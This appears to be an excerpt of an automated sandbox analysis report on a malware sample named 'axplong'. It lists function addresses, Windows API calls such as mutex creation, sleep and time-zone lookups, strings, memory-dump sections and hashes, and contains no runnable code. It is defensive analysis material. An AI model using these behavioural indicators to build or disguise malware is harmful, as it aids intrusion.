Function 006D25B2 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 172
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,006E6758), ref: 006D261C

Strings

Eastern Summer Time, xrefs: 006D26BA
Eastern Standard Time, xrefs: 006D268B
Xgn, xrefs: 006D25C5, 006D25CB

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time$Xgn
API String ID: 565725191-2117068305
Opcode ID: 1f27c9d86107fd0151323c7ae014d85b5eabe7a3f0224a6e113a72408b274df4
Instruction ID: 42e612046f5be95b35ecb6ae211472b98974eb882826dc4b8d2b2de1c7dcf639
Opcode Fuzzy Hash: 1f27c9d86107fd0151323c7ae014d85b5eabe7a3f0224a6e113a72408b274df4
Instruction Fuzzy Hash: E851C372D0021AABCB20AF64DC919B977BAAF51364B10026FF411A7391EB709E41CB54

Function 00699AD5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00699AD8
Sleep.KERNEL32(00000064,?), ref: 0069A893
CreateMutexA.KERNEL32(00000000,00000000,006F3224), ref: 0069A8B1

Strings

$2o, xrefs: 0069A8A0

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: $2o
API String ID: 396266464-4034404246
Opcode ID: c52d6d1e81fcc5e30b0962c0f4fcd3fb3f5f06e7b1e658f31c1426d818cca5fe
Instruction ID: e6f2dc80d3d324eebfcddcfa904dc84b4113ebc9d69169c31b367e0e4ae0de9a
Opcode Fuzzy Hash: c52d6d1e81fcc5e30b0962c0f4fcd3fb3f5f06e7b1e658f31c1426d818cca5fe
Instruction Fuzzy Hash: 2A317B71A001048BEF08DBBCED8876EB6BBEB86314F24421DE0149BBC5C735998187A1

Function 00699C0A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 139
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00699C0D
Sleep.KERNEL32(00000064,?), ref: 0069A893
CreateMutexA.KERNEL32(00000000,00000000,006F3224), ref: 0069A8B1

Strings

$2o, xrefs: 0069A8A0

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: $2o
API String ID: 396266464-4034404246
Opcode ID: 80fb4f6df1c4ed5ebb08640b84a6bc00c7eef9eb5f943b05c99e7e5933e7f42c
Instruction ID: 918fbc5bb944d1ff79b5fc4a8929b30cc8964cb9678b28b74c4e96879e5dda77
Opcode Fuzzy Hash: 80fb4f6df1c4ed5ebb08640b84a6bc00c7eef9eb5f943b05c99e7e5933e7f42c
Instruction Fuzzy Hash: 7F314831A10144CBEF18EB7CDD847ACB7EBEB86314F24425CE015ABBC5CB3599818762

Function 00699E74 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00699E77
Sleep.KERNEL32(00000064,?), ref: 0069A893
CreateMutexA.KERNEL32(00000000,00000000,006F3224), ref: 0069A8B1

Strings

$2o, xrefs: 0069A8A0

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: $2o
API String ID: 396266464-4034404246
Opcode ID: 8d5ec848b648be3da69a795aefe3e6f4e2a7c0e0254df66e0050b8425eaa57c2
Instruction ID: 3976b7d5a3f863fd6c44e4c492c7a335b32c584d6e0997b4f35da6007d389ceb
Opcode Fuzzy Hash: 8d5ec848b648be3da69a795aefe3e6f4e2a7c0e0254df66e0050b8425eaa57c2
Instruction Fuzzy Hash: 00314831A002048BEF08DBACDD887ACB7ABEF86314F24425DE414EBBD1D73599818762

Function 00699FA9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00699FAC
Sleep.KERNEL32(00000064,?), ref: 0069A893
CreateMutexA.KERNEL32(00000000,00000000,006F3224), ref: 0069A8B1

Strings

$2o, xrefs: 0069A8A0

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: $2o
API String ID: 396266464-4034404246
Opcode ID: 5c791d4d325821e41b70d85773c6275f0a6da0692af42b40c376a3dc0501ba2e
Instruction ID: 5cce23f1bb0b0be62da8e67c97963009c92510f25e6bea4254067301a569ef75
Opcode Fuzzy Hash: 5c791d4d325821e41b70d85773c6275f0a6da0692af42b40c376a3dc0501ba2e
Instruction Fuzzy Hash: 3D314A31B101448BFF18DBBCDD8476CB6BBDB86318F24821DE0149BBC5D77699818796

Function 0069A0DE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 135sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0069A0E1
Sleep.KERNEL32(00000064,?), ref: 0069A893
